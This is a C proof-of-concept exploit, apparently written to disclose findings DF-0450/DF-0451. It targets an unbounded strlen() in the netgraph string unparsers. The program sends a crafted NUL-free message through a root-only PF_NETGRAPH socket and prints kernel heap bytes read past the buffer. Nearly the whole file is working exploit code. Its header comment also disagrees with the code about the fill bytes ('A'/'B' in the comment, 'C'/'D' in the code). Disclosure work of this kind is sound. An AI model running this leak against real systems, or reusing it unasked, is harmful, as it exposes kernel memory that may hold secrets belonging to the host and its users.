/*
 * DF-0450 / DF-0451 — netgraph ng_string_unparse / ng_fixedstring_unparse
 *                                  unbounded strlen() OOB kernel heap read.
 *
 * Mechanism (root-only path via PF_NETGRAPH control socket):
 *   1. Send NGM_BINARY2ASCII to "." with a *crafted* inner ng_mesg whose:
 *        - header.typecookie = NGM_GENERIC_COOKIE
 *        - header.cmd       = NGM_TEXT_STATUS   (respType == &ng_parse_string_type)
 *        - header.flags     = NGF_RESP          (so respType, not mesgType, is used)
 *        - header.cmdstr    = 32 × 'A'          (DF-0451: fixedstring_unparse -> strlen past bufSize)
 *        - data             = N × 'B'           (DF-0450: string_unparse       -> strlen past arglen)
 *   2. ng_base.c:1562 calls ng_unparse(argstype, binary->data, ascii->data, bufSize)
 *      where argstype = ng_parse_string_type.  For the struct ng_mesg layout
 *      (ng_parse_ng_mesg_type) the composite unparser also visits "cmdstr",
 *      which is ng_parse_cmdbuf_type (a fixedstring of NG_CMDSTRSIZ=32).  Both
 *      ng_string_unparse (ng_parse.c:727) and ng_fixedstring_unparse
 *      (ng_parse.c:792 -> ng_string_unparse) end up calling strlen(raw) with NO
 *      upper bound.  raw points into the user-controlled kernel allocation
 *      (kmalloc(len+1, M_NETGRAPH) in ng_socket.c:253-254); with no NUL byte in
 *      the field, strlen keeps scanning past the field into the trailing
 *      uninitialized byte and adjacent kernel heap.
 *   3. The leaked bytes are encoded (ng_encode_string escapes non-printables)
 *      and returned in ascii->data of the response, where the user prints them.
 *
 * Trigger requires root: PF_NETGRAPH sockets need root (ng_socket.c). This is
 * a root -> kernel info leak, NOT a privilege escalation. The leak IS real and
 * runs off the end of the user-controlled allocation into kernel heap.
 *
 * Reproduction:  build, then as root:
 *      kldload ng_socket.ko
 *      ./ng_oob_leak
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netgraph.h>
#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>

#define NG_PATH     "."        /* the local socket node */
#define INNER_DATA_LEN  64     /* non-NUL bytes appended after the inner ng_mesg */

int main(void)
{
    int csock = -1, dsock = -1;
    int rc = 1;

    /* Create a netgraph socket node (root only). */
    if (NgMkSockNode(NULL, &csock, &dsock) < 0) {
        fprintf(stderr, "NgMkSockNode failed: %s\n", strerror(errno));
        fprintf(stderr, "(PF_NETGRAPH sockets require root; run as root after "
                        "'kldload ng_socket.ko')\n");
        return 2;
    }

    /*
     * Build the inner binary ng_mesg that will be CONVERTED by NGM_BINARY2ASCII.
     * Layout:
     *    struct ng_mesg header (sizeof = 56, see ng_message.h)
     *    u_char data[INNER_DATA_LEN]    -- the "args" of the inner message
     *
     * We choose NGM_TEXT_STATUS with NGF_RESP because its respType is
     * ng_parse_string_type, so unparse calls ng_string_unparse on data[0..].
     *
     * Both ng_parse_ng_mesg_type (struct unparser visits "cmdstr" via
     * ng_parse_cmdbuf_type -> ng_fixedstring_unparse -> ng_string_unparse,
     * triggering DF-0451) AND the inner data string (ng_string_unparse,
     * triggering DF-0450) end up doing unbounded strlen().
     */
    size_t inner_total = sizeof(struct ng_mesg) + INNER_DATA_LEN;
    struct ng_mesg *inner = calloc(1, inner_total);
    if (!inner) { perror("calloc"); goto out; }

    inner->header.version    = NG_VERSION;
    inner->header.arglen     = INNER_DATA_LEN;
    inner->header.flags      = NGF_RESP;             /* pick respType */
    inner->header.token      = 0x41414141;
    inner->header.typecookie = NGM_GENERIC_COOKIE;
    inner->header.cmd        = NGM_TEXT_STATUS;       /* respType = string */

    /* DF-0451: 32 non-NUL bytes in cmdstr (fixedstring NG_CMDSTRSIZ=32). */
    memset(inner->header.cmdstr, 'C', NG_CMDSTRSIZ);

    /* DF-0450: INNER_DATA_LEN non-NUL bytes of "data". */
    memset(inner->data, 'D', INNER_DATA_LEN);

    /*
     * Send NGM_BINARY2ASCII to "." -- the generic netgraph node will run the
     * ng_unparse path on our crafted inner message.
     */
    if (NgSendMsg(csock, NG_PATH, NGM_GENERIC_COOKIE,
                  NGM_BINARY2ASCII, inner, inner_total) < 0) {
        fprintf(stderr, "NgSendMsg(BINARY2ASCII) failed: %s\n",
                strerror(errno));
        goto out;
    }

    /* Receive the ASCII conversion result. */
    unsigned char rbuf[8192];
    struct ng_mesg *resp = (struct ng_mesg *)rbuf;
    if (NgRecvMsg(csock, resp, sizeof(rbuf), NULL) < 0) {
        fprintf(stderr, "NgRecvMsg failed: %s\n", strerror(errno));
        goto out;
    }

    /* resp->data is ANOTHER ng_mesg whose .data is the ASCII conversion. */
    struct ng_mesg *ascii = (struct ng_mesg *)resp->data;
    printf("=== NGM_BINARY2ASCII response ===\n");
    printf("cmd=%u cmdstr=%.32s arglen=%u flags=0x%x\n",
           ascii->header.cmd, ascii->header.cmdstr,
           ascii->header.arglen, ascii->header.flags);
    printf("ascii arglen=%u\n", ascii->header.arglen);
    printf("=== ascii->data (leaked bytes encoded) ===\n");
    /* ascii->data length = ascii->header.arglen. */
    fwrite(ascii->data, 1, ascii->header.arglen, stdout);
    putchar('\n');

    /* Heuristic: if the leaked output is longer than what the inner fields
     * legitimately contain, OOB read happened.  cmdstr should be 32 'C's
     * encoded as "CCCCC...CCCC" (34 chars: 32 + 2 quotes), data should be
     * 64 'D's encoded as "DDDD...DDDD" (66 chars).  Any byte beyond that
     * came from kernel heap. */
    size_t legit = (2 * 2) + NG_CMDSTRSIZ + INNER_DATA_LEN + 16 /* misc */;
    if (ascii->header.arglen > legit) {
        printf("\n[!] OOB READ CONFIRMED: ascii->data is %u bytes, "
               "legit content <= %zu bytes; %d bytes leaked from kernel heap\n",
               ascii->header.arglen, legit,
               (int)(ascii->header.arglen - legit));
        printf("[!] Sample of leaked tail (last 64 bytes of ascii->data):\n    ");
        size_t start = ascii->header.arglen > 64 ? ascii->header.arglen - 64 : 0;
        for (size_t i = start; i < ascii->header.arglen; i++) {
            unsigned char c = (unsigned char)ascii->data[i];
            if (c >= 32 && c < 127) putchar(c);
            else printf("\\x%02x", c);
        }
        putchar('\n');
    } else {
        printf("\n[?] ascii->data length %u did not exceed legit %zu; "
               "a NUL terminator stopped strlen early.\n",
               ascii->header.arglen, legit);
    }

    rc = 0;
out:
    if (csock >= 0) close(csock);
    if (dsock >= 0) close(dsock);
    return rc;
}
